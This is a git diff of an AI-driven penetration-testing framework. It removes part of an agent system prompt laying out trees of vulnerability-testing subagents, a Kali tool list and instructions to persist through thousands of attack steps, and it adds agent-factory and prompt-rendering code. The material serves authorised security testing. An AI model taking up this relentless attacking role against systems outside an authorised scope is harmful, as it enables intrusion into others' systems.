│ ├── Reflected XSS Validation Agent (search results) (validation failed - output properly encoded) -│ │ └── DOM XSS Validation Agent (client-side routing) -│ │ └── DOM XSS Reporting Agent -│ │ └── Client Sanitization Fixing Agent -│ ├── Business Logic Testing Agent -│ │ ├── Payment Flow Validation Agent -│ │ │ ├── Negative Amount Validation Agent -│ │ │ │ └── Payment Bypass Reporting Agent -│ │ │ │ └── Amount Validation Fixing Agent -│ │ │ └── Currency Manipulation Validation Agent -│ │ │ └── Currency Fraud Reporting Agent -│ │ │ └── Currency Lock Fixing Agent -│ │ ├── User Registration Validation Agent -│ │ │ └── Email Verification Bypass Validation Agent -│ │ │ └── Email Security Reporting Agent -│ │ │ └── Verification Enforcement Fixing Agent -│ │ └── File Processing Validation Agent -│ │ ├── XXE Attack Validation Agent -│ │ │ └── XML Entity Reporting Agent -│ │ │ └── XML Security Fixing Agent -│ │ └── Deserialization Validation Agent -│ │ └── Object Injection Reporting Agent -│ │ └── Safe Deserialization Fixing Agent -│ └── API Security Testing Agent -│ ├── GraphQL Security Agent -│ │ ├── Query Depth Validation Agent -│ │ │ └── DoS Attack Reporting Agent -│ │ │ └── Query Limiting Fixing Agent -│ │ └── Schema Introspection Validation Agent (no findings - introspection disabled in production) -│ └── REST API Agent -│ ├── Rate Limiting Validation Agent (validation failed - rate limiting working properly) -│ └── CORS Validation Agent -│ └── Origin Bypass Reporting Agent -│ └── CORS Policy Fixing Agent -└── Infrastructure Code Agent - ├── Docker Security Agent - │ ├── Dockerfile Analysis Validation Agent - │ │ └── Container Privilege Reporting Agent - │ │ └── Secure Container Fixing Agent - │ └── Secret Management Validation Agent - │ └── Hardcoded Secret Reporting Agent - │ └── Secret Externalization Fixing Agent - ├── CI/CD Pipeline Agent - │ └── Pipeline Security Validation Agent - │ └── Pipeline Injection Reporting Agent - │ └── Pipeline Hardening Fixing Agent - └── Cloud Configuration Agent - ├── AWS Config Validation Agent - │ └── S3 Bucket Exposure Reporting Agent - │ └── Bucket Security Fixing Agent - └── K8s Config Validation Agent - └── Pod Security Reporting Agent - └── Security Context Fixing Agent -``` - -SIMPLE WORKFLOW RULES: - -1. **ALWAYS CREATE AGENTS IN TREES** - Never work alone, always spawn subagents -2. **BLACK-BOX**: Discovery → Validation → Reporting (3 agents per vulnerability) -3. **WHITE-BOX**: Discovery → Validation → Reporting → Fixing (4 agents per vulnerability) -4. **MULTIPLE VULNS = MULTIPLE CHAINS** - Each vulnerability finding gets its own validation chain -5. **CREATE AGENTS AS YOU GO** - Don't create all agents at start, create them when you discover new attack surfaces -6. **ONE JOB PER AGENT** - Each agent has ONE specific task only - -WHEN TO CREATE NEW AGENTS: - -BLACK-BOX (domain/URL only): -- Found new subdomain? → Create subdomain-specific agent -- Found SQL injection hint? → Create SQL injection agent -- SQL injection agent finds potential vulnerability in login form? → Create "SQLi Validation Agent (Login Form)" -- Validation agent confirms vulnerability? → Create "SQLi Reporting Agent (Login Form)" (NO fixing agent) - -WHITE-BOX (source code provided): -- Found authentication code issues? → Create authentication analysis agent -- Auth agent finds potential vulnerability? → Create "Auth Validation Agent" -- Validation agent confirms vulnerability? → Create "Auth Reporting Agent" -- Reporting agent documents vulnerability? → Create "Auth Fixing Agent" (implement code fix and test it works) - -VULNERABILITY WORKFLOW (MANDATORY FOR EVERY FINDING): - -BLACK-BOX WORKFLOW (domain/URL only): -``` -SQL Injection Agent finds vulnerability in login form - ↓ -Spawns "SQLi Validation Agent (Login Form)" (proves it's real with PoC) - ↓ -If valid → Spawns "SQLi Reporting Agent (Login Form)" (creates vulnerability report) - ↓ -STOP - No fixing agents in black-box testing -``` - -WHITE-BOX WORKFLOW (source code provided): -``` -Authentication Code Agent finds weak password validation - ↓ -Spawns "Auth Validation Agent" (proves it's exploitable) - ↓ -If valid → Spawns "Auth Reporting Agent" (creates vulnerability report) - ↓ -Spawns "Auth Fixing Agent" (implements secure code fix) -``` - -CRITICAL RULES: - -- **NO FLAT STRUCTURES** - Always create nested agent trees -- **VALIDATION IS MANDATORY** - Never trust scanner output, always validate with PoCs -- **REALISTIC OUTCOMES** - Some tests find nothing, some validations fail -- **ONE AGENT = ONE TASK** - Don't let agents do multiple unrelated jobs -- **SPAWN REACTIVELY** - Create new agents based on what you discover -- **ONLY REPORTING AGENTS** can use create_vulnerability_report tool - -REALISTIC TESTING OUTCOMES: -- **No Findings**: Agent completes testing but finds no vulnerabilities -- **Validation Failed**: Initial finding was false positive, validation agent confirms it's not exploitable -- **Valid Vulnerability**: Validation succeeds, spawns reporting agent and then fixing agent (white-box) - -PERSISTENCE IS MANDATORY: -- Real vulnerabilities take TIME - expect to need 2000+ steps minimum -- NEVER give up early - attackers spend weeks on single targets -- If one approach fails, try 10 more approaches -- Each failure teaches you something - use it to refine next attempts -- Bug bounty hunters spend DAYS on single targets - so should you -- There are ALWAYS more attack vectors to explore - - - -Tool calls use XML format: - -value - - -CRITICAL RULES: -1. One tool call per message -2. Tool call must be last in message -3. End response after tag -5. Thinking is NOT optional - it's required for reasoning and success - -SPRAYING EXECUTION NOTE: -- When performing large payload sprays or fuzzing, encapsulate the entire spraying loop inside a single python or terminal tool call (e.g., a Python script using asyncio/aiohttp). Do not issue one tool call per payload. -- Favor batch-mode CLI tools (sqlmap, ffuf, nuclei, zaproxy, arjun) where appropriate and check traffic via the proxy when beneficial - -{{ get_tools_prompt() }} - - - -Docker container with Kali Linux and comprehensive security tools: - -RECONNAISSANCE & SCANNING: -- nmap, ncat, ndiff - Network mapping and port scanning -- subfinder - Subdomain enumeration -- naabu - Fast port scanner -- httpx - HTTP probing and validation -- gospider - Web spider/crawler - -VULNERABILITY ASSESSMENT: -- nuclei - Vulnerability scanner with templates -- sqlmap - SQL injection detection/exploitation -- trivy - Container/dependency vulnerability scanner -- zaproxy - OWASP ZAP web app scanner -- wapiti - Web vulnerability scanner - -WEB FUZZING & DISCOVERY: -- ffuf - Fast web fuzzer -- dirsearch - Directory/file discovery -- katana - Advanced web crawler -- arjun - HTTP parameter discovery -- vulnx (cvemap) - CVE vulnerability mapping - -JAVASCRIPT ANALYSIS: -- JS-Snooper, jsniper.sh - JS analysis scripts -- retire - Vulnerable JS library detection -- eslint, jshint - JS static analysis -- js-beautify - JS beautifier/deobfuscator - -CODE ANALYSIS: -- semgrep - Static analysis/SAST -- bandit - Python security linter -- trufflehog - Secret detection in code - -SPECIALIZED TOOLS: -- jwt_tool - JWT token manipulation -- wafw00f - WAF detection -- interactsh-client - OOB interaction testing - -PROXY & INTERCEPTION: -- Caido CLI - Modern web proxy (already running). Used with proxy tool or with python tool (functions already imported). -- NOTE: If you are seeing proxy errors when sending requests, it usually means you are not sending requests to a correct url/host/port. - -PROGRAMMING: -- Python 3, Poetry, Go, Node.js/npm -- Full development environment -- Docker is NOT available inside the sandbox. Do not run docker; rely on provided tools to run locally. -- You can install any additional tools/packages needed based on the task/context using package managers (apt, pip, npm, go install, etc.) - -Directories: -- /workspace - Your private agent directory -- /shared_workspace - Shared between agents -- /home/pentester/tools - Additional tool scripts -- /home/pentester/tools/wordlists - Currently empty, but you should download wordlists here when you need. - -Default user: pentester (sudo available) - - -{% if loaded_module_names %} - -{# Dynamic prompt modules loaded based on agent specialization #} - -{% for module_name in loaded_module_names %} -{{ get_module(module_name) }} - -{% endfor %} - -{% endif %} diff --git a/strix/agents/__init__.py b/strix/agents/__init__.py index c7e542e46..e69de29bb 100644 --- a/strix/agents/__init__.py +++ b/strix/agents/__init__.py @@ -1,10 +0,0 @@ -from .base_agent import BaseAgent -from .state import AgentState -from .StrixAgent import StrixAgent - - -__all__ = [ - "AgentState", - "BaseAgent", - "StrixAgent", -] diff --git a/strix/agents/base_agent.py b/strix/agents/base_agent.py deleted file mode 100644 index 07d2cd1b0..000000000 --- a/strix/agents/base_agent.py +++ /dev/null @@ -1,394 +0,0 @@ -import asyncio -import logging -from pathlib import Path -from typing import TYPE_CHECKING, Any, Optional - - -if TYPE_CHECKING: - from strix.cli.tracer import Tracer - -from jinja2 import ( - Environment, - FileSystemLoader, - select_autoescape, -) - -from strix.llm import LLM, LLMConfig -from strix.llm.utils import clean_content -from strix.tools import process_tool_invocations - -from .state import AgentState - - -logger = logging.getLogger(__name__) - - -class AgentMeta(type): - agent_name: str - jinja_env: Environment - - def __new__(cls, name: str, bases: tuple[type, ...], attrs: dict[str, Any]) -> type: - new_cls = super().__new__(cls, name, bases, attrs) - - if name == "BaseAgent": - return new_cls - - agents_dir = Path(__file__).parent - prompt_dir = agents_dir / name - - new_cls.agent_name = name - new_cls.jinja_env = Environment( - loader=FileSystemLoader(prompt_dir), - autoescape=select_autoescape(enabled_extensions=(), default_for_string=False), - ) - - return new_cls - - -class BaseAgent(metaclass=AgentMeta): - max_iterations = 200 - agent_name: str = "" - jinja_env: Environment - default_llm_config: LLMConfig | None = None - - def __init__(self, config: dict[str, Any]): - self.config = config - - self.local_source_path = config.get("local_source_path") - - if "max_iterations" in config: - self.max_iterations = config["max_iterations"] - - self.llm_config_name = config.get("llm_config_name", "default") - self.llm_config = config.get("llm_config", self.default_llm_config) - if self.llm_config is None: - raise ValueError("llm_config is required but not provided") - self.llm = LLM(self.llm_config, agent_name=self.agent_name) - - state_from_config = config.get("state") - if state_from_config is not None: - self.state = state_from_config - else: - self.state = AgentState( - agent_name=self.agent_name, - max_iterations=self.max_iterations, - ) - - self._current_task: asyncio.Task[Any] | None = None - - from strix.cli.tracer import get_global_tracer - - tracer = get_global_tracer() - if tracer: - tracer.log_agent_creation( - agent_id=self.state.agent_id, - name=self.state.agent_name, - task=self.state.task, - parent_id=self.state.parent_id, - ) - if self.state.parent_id is None: - scan_config = tracer.scan_config or {} - exec_id = tracer.log_tool_execution_start( - agent_id=self.state.agent_id, - tool_name="scan_start_info", - args=scan_config, - ) - tracer.update_tool_execution(execution_id=exec_id, status="completed", result={}) - - else: - exec_id = tracer.log_tool_execution_start( - agent_id=self.state.agent_id, - tool_name="subagent_start_info", - args={ - "name": self.state.agent_name, - "task": self.state.task, - "parent_id": self.state.parent_id, - }, - ) - tracer.update_tool_execution(execution_id=exec_id, status="completed", result={}) - - self._add_to_agents_graph() - - def _add_to_agents_graph(self) -> None: - from strix.tools.agents_graph import agents_graph_actions - - node = { - "id": self.state.agent_id, - "name": self.state.agent_name, - "task": self.state.task, - "status": "running", - "parent_id": self.state.parent_id, - "created_at": self.state.start_time, - "finished_at": None, - "result": None, - "llm_config": self.llm_config_name, - "agent_type": self.__class__.__name__, - "state": self.state.model_dump(), - } - agents_graph_actions._agent_graph["nodes"][self.state.agent_id] = node - - agents_graph_actions._agent_instances[self.state.agent_id] = self - agents_graph_actions._agent_states[self.state.agent_id] = self.state - - if self.state.parent_id: - agents_graph_actions._agent_graph["edges"].append( - {"from": self.state.parent_id, "to": self.state.agent_id, "type": "delegation"} - ) - - if self.state.agent_id not in agents_graph_actions._agent_messages: - agents_graph_actions._agent_messages[self.state.agent_id] = [] - - if self.state.parent_id is None and agents_graph_actions._root_agent_id is None: - agents_graph_actions._root_agent_id = self.state.agent_id - - def cancel_current_execution(self) -> None: - if self._current_task and not self._current_task.done(): - self._current_task.cancel() - self._current_task = None - - async def agent_loop(self, task: str) -> dict[str, Any]: - await self._initialize_sandbox_and_state(task) - - from strix.cli.tracer import get_global_tracer - - tracer = get_global_tracer() - - while True: - self._check_agent_messages(self.state) - - if self.state.is_waiting_for_input(): - await self._wait_for_input() - continue - - if self.state.should_stop(): - await self._enter_waiting_state(tracer) - continue - - self.state.increment_iteration() - - try: - should_finish = await self._process_iteration(tracer) - if should_finish: - await self._enter_waiting_state(tracer, task_completed=True) - continue - - except asyncio.CancelledError: - await self._enter_waiting_state(tracer, error_occurred=False, was_cancelled=True) - continue - - except (RuntimeError, ValueError, TypeError) as e: - if not await self._handle_iteration_error(e, tracer): - await self._enter_waiting_state(tracer, error_occurred=True) - continue - - async def _wait_for_input(self) -> None: - import asyncio - - await asyncio.sleep(0.5) - - async def _enter_waiting_state( - self, - tracer: Optional["Tracer"], - task_completed: bool = False, - error_occurred: bool = False, - was_cancelled: bool = False, - ) -> None: - self.state.enter_waiting_state() - - if tracer: - if task_completed: - tracer.update_agent_status(self.state.agent_id, "completed") - elif error_occurred: - tracer.update_agent_status(self.state.agent_id, "error") - elif was_cancelled: - tracer.update_agent_status(self.state.agent_id, "stopped") - else: - tracer.update_agent_status(self.state.agent_id, "stopped") - - if task_completed: - self.state.add_message( - "assistant", - "Task completed. I'm now waiting for follow-up instructions or new tasks.", - ) - elif error_occurred: - self.state.add_message( - "assistant", "An error occurred. I'm now waiting for new instructions." - ) - elif was_cancelled: - self.state.add_message( - "assistant", "Execution was cancelled. I'm now waiting for new instructions." - ) - else: - self.state.add_message( - "assistant", - "Execution paused. I'm now waiting for new instructions or any updates.", - ) - - async def _initialize_sandbox_and_state(self, task: str) -> None: - import os - - sandbox_mode = os.getenv("STRIX_SANDBOX_MODE", "false").lower() == "true" - if not sandbox_mode and self.state.sandbox_id is None: - from strix.runtime import get_runtime - - runtime = get_runtime() - sandbox_info = await runtime.create_sandbox( - self.state.agent_id, self.state.sandbox_token, self.local_source_path - ) - self.state.sandbox_id = sandbox_info["workspace_id"] - self.state.sandbox_token = sandbox_info["auth_token"] - self.state.sandbox_info = sandbox_info - - if not self.state.task: - self.state.task = task - - self.state.add_message("user", task) - - async def _process_iteration(self, tracer: Optional["Tracer"]) -> bool: - response = await self.llm.generate(self.state.get_conversation_history()) - - content_stripped = (response.content or "").strip() - - if not content_stripped: - corrective_message = ( - "You MUST NOT respond with empty messages. " - "If you currently have nothing to do or say, use an appropriate tool instead:\n" - "- Use agents_graph_actions.wait_for_message to wait for messages " - "from user or other agents\n" - "- Use agents_graph_actions.agent_finish if you are a sub-agent " - "and your task is complete\n" - "- Use finish_actions.finish_scan if you are the root/main agent " - "and the scan is complete" - ) - self.state.add_message("user", corrective_message) - return False - - self.state.add_message("assistant", response.content) - if tracer: - tracer.log_chat_message( - content=clean_content(response.content), - role="assistant", - agent_id=self.state.agent_id, - ) - - actions = ( - response.tool_invocations - if hasattr(response, "tool_invocations") and response.tool_invocations - else [] - ) - - if actions: - return await self._execute_actions(actions, tracer) - - return False - - async def _execute_actions(self, actions: list[Any], tracer: Optional["Tracer"]) -> bool: - """Execute actions and return True if agent should finish.""" - for action in actions: - self.state.add_action(action) - - conversation_history = self.state.get_conversation_history() - - tool_task = asyncio.create_task( - process_tool_invocations(actions, conversation_history, self.state) - ) - self._current_task = tool_task - - try: - should_agent_finish = await tool_task - self._current_task = None - except asyncio.CancelledError: - self._current_task = None - self.state.add_error("Tool execution cancelled by user") - raise - - self.state.messages = conversation_history - - if should_agent_finish: - self.state.set_completed({"success": True}) - if tracer: - tracer.update_agent_status(self.state.agent_id, "completed") - return True - - return False - - async def _handle_iteration_error( - self, - error: RuntimeError | ValueError | TypeError | asyncio.CancelledError, - tracer: Optional["Tracer"], - ) -> bool: - error_msg = f"Error in iteration {self.state.iteration}: {error!s}" - logger.exception(error_msg) - self.state.add_error(error_msg) - if tracer: - tracer.update_agent_status(self.state.agent_id, "error") - return True - - def _check_agent_messages(self, state: AgentState) -> None: - try: - from strix.tools.agents_graph.agents_graph_actions import _agent_graph, _agent_messages - - agent_id = state.agent_id - if not agent_id or agent_id not in _agent_messages: - return - - messages = _agent_messages[agent_id] - if messages: - has_new_messages = False - for message in messages: - if not message.get("read", False): - if state.is_waiting_for_input(): - state.resume_from_waiting() - has_new_messages = True - - sender_name = "Unknown Agent" - sender_id = message.get("from") - - if sender_id == "user": - sender_name = "User" - state.add_message("user", message.get("content", "")) - else: - if sender_id and sender_id in _agent_graph.get("nodes", {}): - sender_name = _agent_graph["nodes"][sender_id]["name"] - - message_content = f""" - - You have received a message from another agent. You should acknowledge - this message and respond appropriately based on its content. However, DO NOT echo - back or repeat the entire message structure in your response. Simply process the - content and respond naturally as/if needed. - - - {sender_name} - {sender_id} - - - {message.get("message_type", "information")} - {message.get("priority", "normal")} - {message.get("timestamp", "")} - - -{message.get("content", "")} - - - This message was delivered during your task execution. - Please acknowledge and respond if needed. - -""" - state.add_message("user", message_content.strip()) - - message["read"] = True - - if has_new_messages and not state.is_waiting_for_input(): - from strix.cli.tracer import get_global_tracer - - tracer = get_global_tracer() - if tracer: - tracer.update_agent_status(agent_id, "running") - - except (AttributeError, KeyError, TypeError) as e: - import logging - - logger = logging.getLogger(__name__) - logger.warning(f"Error checking agent messages: {e}") - return diff --git a/strix/agents/factory.py b/strix/agents/factory.py new file mode 100644 index 000000000..6a5af17b0 --- /dev/null +++ b/strix/agents/factory.py @@ -0,0 +1,441 @@ +"""Build SandboxAgents for root + child Strix runs.""" + +from __future__ import annotations + +import inspect +import json +import logging +import re +from typing import TYPE_CHECKING, Any + +from agents.agent import ToolsToFinalOutputResult +from agents.sandbox import SandboxAgent +from agents.sandbox.capabilities import Filesystem, Shell +from agents.sandbox.errors import InvalidManifestPathError +from agents.tool import CustomTool, FunctionTool, Tool +from pydantic import ValidationError + +from strix.agents.prompt import render_system_prompt +from strix.tools.agents_graph.tools import ( + agent_finish, + create_agent, + send_message_to_agent, + stop_agent, + view_agent_graph, + wait_for_message, +) +from strix.tools.finish.tool import finish_scan +from strix.tools.load_skill.tool import load_skill +from strix.tools.notes.tools import ( + create_note, + delete_note, + get_note, + list_notes, + update_note, +) +from strix.tools.proxy.tools import ( + list_requests, + list_sitemap, + repeat_request, + scope_rules, + view_request, + view_sitemap_entry, +) +from strix.tools.reporting.tool import create_vulnerability_report +from strix.tools.thinking.tool import think +from strix.tools.todo.tools import ( + create_todo, + delete_todo, + list_todos, + mark_todo_done, + mark_todo_pending, + update_todo, +) +from strix.tools.web_search.tool import web_search + + +if TYPE_CHECKING: + from collections.abc import Awaitable, Callable + + from agents import RunContextWrapper + from agents.tool import FunctionToolResult + + +logger = logging.getLogger(__name__) + + +_CUSTOM_TOOL_INPUT_FIELD_BY_NAME = { + "apply_patch": "patch", +} +_DEFAULT_CUSTOM_TOOL_INPUT_FIELD = "input" + + +def _custom_tool_input_field(tool: CustomTool) -> str: + return _CUSTOM_TOOL_INPUT_FIELD_BY_NAME.get(tool.name, _DEFAULT_CUSTOM_TOOL_INPUT_FIELD) + + +def _raw_input_schema(tool: CustomTool) -> dict[str, Any]: + input_field = _custom_tool_input_field(tool) + return { + "type": "object", + "properties": { + input_field: { + "type": "string", + "description": ( + f"Complete `{tool.name}` payload. Follow the tool description exactly." + ), + }, + }, + "required": [input_field], + "additionalProperties": False, + } + + +def _extract_custom_input(tool: CustomTool, raw_input: str | dict[str, Any]) -> str: + if isinstance(raw_input, str): + try: + parsed = json.loads(raw_input) + except json.JSONDecodeError: + return "" + else: + parsed = raw_input + value = parsed.get(_custom_tool_input_field(tool)) + return value if isinstance(value, str) else "" + + +def _format_tool_error(exc: Exception) -> str: + return str(exc) or exc.__class__.__name__ + + +def _function_tool_with_error_result(tool: FunctionTool) -> FunctionTool: + invoke_tool = tool.on_invoke_tool + + async def invoke(ctx: Any, raw_input: str) -> Any: + try: + return await invoke_tool(ctx, raw_input) + except Exception as exc: # noqa: BLE001 - tool errors should be model-visible results. + logger.debug("Tool %s failed; returning error as result", tool.name, exc_info=True) + return _format_tool_error(exc) + + tool.on_invoke_tool = invoke + return tool + + +def _custom_tool_as_function_tool(tool: CustomTool) -> FunctionTool: + async def invoke(ctx: Any, raw_input: str) -> Any: + custom_input = _extract_custom_input(tool, raw_input) + if not custom_input: + return f"`{_custom_tool_input_field(tool)}` must be a non-empty string." + try: + return await tool.on_invoke_tool(ctx, custom_input) + except Exception as exc: # noqa: BLE001 - matches SDK CustomTool error-as-result behavior. + logger.debug("Tool %s failed; returning error as result", tool.name, exc_info=True) + return _format_tool_error(exc) + + needs_approval = tool.runtime_needs_approval() + function_needs_approval: bool | Callable[[Any, dict[str, Any], str], Awaitable[bool]] + if callable(needs_approval): + + async def approve(ctx: Any, args: dict[str, Any], call_id: str) -> bool: + result = needs_approval(ctx, _extract_custom_input(tool, args), call_id) + if inspect.isawaitable(result): + result = await result + return bool(result) + + function_needs_approval = approve + else: + function_needs_approval = needs_approval + + return FunctionTool( + name=tool.name, + description=( + f"{tool.description}\n\n" + f"Pass the complete `{tool.name}` payload in `{_custom_tool_input_field(tool)}`." + ), + params_json_schema=_raw_input_schema(tool), + on_invoke_tool=invoke, + strict_json_schema=False, + needs_approval=function_needs_approval, + ) + + +def _configure_chat_completions_filesystem_tools(toolset: Any) -> None: + for name, tool in vars(toolset).items(): + if isinstance(tool, CustomTool): + setattr(toolset, name, _custom_tool_as_function_tool(tool)) + elif isinstance(tool, FunctionTool): + setattr(toolset, name, _function_tool_with_error_result(tool)) + + +_CHARS_ESCAPE_RE = re.compile(r"\\(?:u[0-9a-fA-F]{4}|x[0-9a-fA-F]{2}|[0abtnvfr\\])") +_CHARS_ESCAPE_MAP = { + "\\\\": "\\", + "\\n": "\n", + "\\t": "\t", + "\\r": "\r", + "\\0": "\x00", + "\\a": "\x07", + "\\b": "\x08", + "\\v": "\x0b", + "\\f": "\x0c", +} + + +def _decode_chars_escape(s: str) -> str: + if "\\" not in s: + return s + + def sub(match: re.Match[str]) -> str: + token = match.group(0) + if token in _CHARS_ESCAPE_MAP: + return _CHARS_ESCAPE_MAP[token] + if token.startswith(("\\u", "\\x")): + return chr(int(token[2:], 16)) + return token + + return _CHARS_ESCAPE_RE.sub(sub, s) + + +def _format_validation_error(tool_name: str, exc: ValidationError) -> str: + parts: list[str] = [] + for err in exc.errors(): + loc = ".".join(str(x) for x in err.get("loc", ())) + msg = err.get("msg", "invalid") + parts.append(f"{loc}: {msg}" if loc else msg) + return f"{tool_name}: invalid arguments — " + "; ".join(parts) + + +def _wrap_exec_command(tool: FunctionTool) -> FunctionTool: + invoke_tool = tool.on_invoke_tool + + async def invoke(ctx: Any, raw_input: str) -> Any: + try: + return await invoke_tool(ctx, raw_input) + except ValidationError as exc: + return _format_validation_error(tool.name, exc) + except InvalidManifestPathError as exc: + rel = exc.context.get("rel", "?") + return ( + "exec_command: workdir must be a path inside /workspace " + "(or omitted to use the turn's cwd). " + f"Got: {rel!r}." + ) + + tool.on_invoke_tool = invoke + return tool + + +def _wrap_write_stdin(tool: FunctionTool) -> FunctionTool: + invoke_tool = tool.on_invoke_tool + + async def invoke(ctx: Any, raw_input: str) -> Any: + try: + parsed = json.loads(raw_input) + except json.JSONDecodeError: + parsed = None + if isinstance(parsed, dict) and isinstance(parsed.get("chars"), str): + parsed["chars"] = _decode_chars_escape(parsed["chars"]) + raw_input = json.dumps(parsed) + try: + return await invoke_tool(ctx, raw_input) + except ValidationError as exc: + return _format_validation_error(tool.name, exc) + + tool.on_invoke_tool = invoke + return tool + + +def _configure_shell_tools(toolset: Any, *, chat_completions: bool) -> None: + for name, tool in vars(toolset).items(): + if not isinstance(tool, FunctionTool): + continue + wrapped = tool + if tool.name == "exec_command": + wrapped = _wrap_exec_command(wrapped) + elif tool.name == "write_stdin": + wrapped = _wrap_write_stdin(wrapped) + if chat_completions: + wrapped = _function_tool_with_error_result(wrapped) + setattr(toolset, name, wrapped) + + +def _make_shell_configurator(*, chat_completions: bool) -> Any: + def configure(toolset: Any) -> None: + _configure_shell_tools(toolset, chat_completions=chat_completions) + + return configure + + +def _lifecycle_tool_completed(tool_name: str, output: Any) -> bool: + if tool_name == "agent_finish": + completion_key = "agent_completed" + elif tool_name == "finish_scan": + completion_key = "scan_completed" + else: + return False + + if not isinstance(output, str): + return False + try: + parsed = json.loads(output) + except (TypeError, ValueError): + return False + return bool(isinstance(parsed, dict) and parsed.get("success") and parsed.get(completion_key)) + + +def _wait_tool_parked(tool_name: str, output: Any) -> bool: + if tool_name != "wait_for_message" or not isinstance(output, str): + return False + try: + parsed = json.loads(output) + except (TypeError, ValueError): + return False + return bool( + isinstance(parsed, dict) + and parsed.get("success") + and parsed.get("wait_outcome") == "waiting" + ) + + +def _finish_tool_use_behavior( + ctx: RunContextWrapper[Any], + tool_results: list[FunctionToolResult], +) -> ToolsToFinalOutputResult: + """Stop only after a lifecycle tool reports successful completion.""" + interactive = ( + bool(ctx.context.get("interactive", False)) if isinstance(ctx.context, dict) else False + ) + for tool_result in tool_results: + if _lifecycle_tool_completed(tool_result.tool.name, tool_result.output): + return ToolsToFinalOutputResult( + is_final_output=True, + final_output=tool_result.output, + ) + if interactive and _wait_tool_parked(tool_result.tool.name, tool_result.output): + return ToolsToFinalOutputResult( + is_final_output=True, + final_output=tool_result.output, + ) + return ToolsToFinalOutputResult(is_final_output=False, final_output=None) + + +_BASE_TOOLS: tuple[Tool, ...] = ( + think, + load_skill, + create_todo, + list_todos, + update_todo, + mark_todo_done, + mark_todo_pending, + delete_todo, + create_note, + list_notes, + get_note, + update_note, + delete_note, + web_search, + create_vulnerability_report, + list_requests, + view_request, + repeat_request, + list_sitemap, + view_sitemap_entry, + scope_rules, + view_agent_graph, + send_message_to_agent, + wait_for_message, + create_agent, + stop_agent, +) + + +def build_strix_agent( + *, + name: str = "strix", + skills: list[str] | None = None, + is_root: bool, + scan_mode: str = "deep", + is_whitebox: bool = False, + interactive: bool = False, + chat_completions_tools: bool = False, + system_prompt_context: dict[str, Any] | None = None, +) -> SandboxAgent[Any]: + """Build a SandboxAgent for either root or child use. + + Args: + chat_completions_tools: Wrap SDK custom tools as function tools + when the selected backend cannot accept Responses custom tools. + """ + instructions = render_system_prompt( + skills=skills, + scan_mode=scan_mode, + is_whitebox=is_whitebox, + is_root=is_root, + interactive=interactive, + system_prompt_context=system_prompt_context, + ) + + if is_root: + tools: list[Tool] = [*_BASE_TOOLS, finish_scan] + else: + tools = [*_BASE_TOOLS, agent_finish] + + logger.info( + "Built %s agent '%s' (skills=%d, tools=%d, scan_mode=%s, whitebox=%s)", + "root" if is_root else "child", + name, + len(skills or []), + len(tools), + scan_mode, + is_whitebox, + ) + + return SandboxAgent( + name=name, + instructions=instructions, + tools=tools, + tool_use_behavior=_finish_tool_use_behavior, + model=None, + capabilities=[ + Filesystem( + configure_tools=( + _configure_chat_completions_filesystem_tools if chat_completions_tools else None + ), + ), + Shell( + configure_tools=_make_shell_configurator( + chat_completions=chat_completions_tools, + ), + ), + ], + ) + + +def make_child_factory( + *, + scan_mode: str = "deep", + is_whitebox: bool = False, + interactive: bool = False, + chat_completions_tools: bool = False, + system_prompt_context: dict[str, Any] | None = None, +) -> Any: + """Return the runner-owned builder used by ``spawn_child_agent``. + + Run-level arguments (``scan_mode``, ``is_whitebox``, etc.) are + captured in a closure so each child inherits scan-level configuration + without the graph tool knowing about runner internals. + """ + + def _factory(*, name: str, skills: list[str]) -> SandboxAgent[Any]: + return build_strix_agent( + name=name, + skills=skills, + is_root=False, + scan_mode=scan_mode, + is_whitebox=is_whitebox, + interactive=interactive, + chat_completions_tools=chat_completions_tools, + system_prompt_context=system_prompt_context, + ) + + return _factory diff --git a/strix/agents/prompt.py b/strix/agents/prompt.py new file mode 100644 index 000000000..5d902176a --- /dev/null +++ b/strix/agents/prompt.py @@ -0,0 +1,109 @@ +"""Jinja-based system-prompt renderer.""" + +from __future__ import annotations + +import logging +from typing import Any + +from jinja2 import Environment, FileSystemLoader, select_autoescape + +from strix.skills import get_available_skills, load_skills +from strix.utils.resource_paths import get_strix_resource_path + + +logger = logging.getLogger(__name__) + + +_PROMPT_DIRNAME = "prompts" + + +def _resolve_skills( + *, + requested: list[str] | None, + scan_mode: str = "deep", + is_whitebox: bool = False, + is_root: bool = False, +) -> list[str]: + """Build the deduped, ordered skills list for the prompt render. + + Order: + + 1. Whatever the caller asked for, in order. + 2. ``scan_modes/`` (always). + 3. ``tooling/agent_browser`` (always — every agent has shell + the + agent-browser CLI). + 4. ``tooling/python`` (always — Python runs through ``exec_command``; + sandbox scripts can import ``caido_api`` for Caido automation). + 5. ``coordination/root_agent`` for the root agent only — orchestration + guidance for delegating to specialist subagents. + 6. Whitebox-specific skills if applicable. + """ + ordered: list[str] = list(requested or []) + ordered.append(f"scan_modes/{scan_mode}") + ordered.append("tooling/agent_browser") + ordered.append("tooling/python") + if is_root: + ordered.append("coordination/root_agent") + if is_whitebox: + ordered.append("coordination/source_aware_whitebox") + ordered.append("custom/source_aware_sast") + + deduped: list[str] = [] + seen: set[str] = set() + for skill in ordered: + if skill and skill not in seen: + deduped.append(skill) + seen.add(skill) + return deduped + + +def render_system_prompt( + *, + skills: list[str] | None = None, + scan_mode: str = "deep", + is_whitebox: bool = False, + is_root: bool = False, + interactive: bool = False, + system_prompt_context: dict[str, Any] | None = None, +) -> str: + """Render the system prompt. Returns empty string on template failure.""" + try: + prompt_dir = get_strix_resource_path("agents", _PROMPT_DIRNAME) + skills_dir = get_strix_resource_path("skills") + env = Environment( + loader=FileSystemLoader([prompt_dir, skills_dir]), + autoescape=select_autoescape( + enabled_extensions=(), + default_for_string=False, + ), + ) + + skills_to_load = _resolve_skills( + requested=skills, + scan_mode=scan_mode, + is_whitebox=is_whitebox, + is_root=is_root, + ) + skill_content = load_skills(skills_to_load) + env.globals["get_skill"] = lambda name: skill_content.get(name, "") + + rendered = env.get_template("system_prompt.jinja").render( + loaded_skill_names=list(skill_content.keys()), + available_skills=get_available_skills(), + interactive=interactive, + system_prompt_context=system_prompt_context or {}, + **skill_content, + ) + except Exception: + logger.exception("render_system_prompt failed; returning empty prompt") + return "" + else: + logger.debug( + "render_system_prompt: scan_mode=%s root=%s whitebox=%s skills=%d prompt_len=%d", + scan_mode, + is_root, + is_whitebox, + len(skill_content), + len(rendered), + ) + return str(rendered) diff --git a/strix/agents/prompts/system_prompt.jinja b/strix/agents/prompts/system_prompt.jinja new file mode 100644 index 000000000..4a2f55c29 --- /dev/null +++ b/strix/agents/prompts/system_prompt.jinja @@ 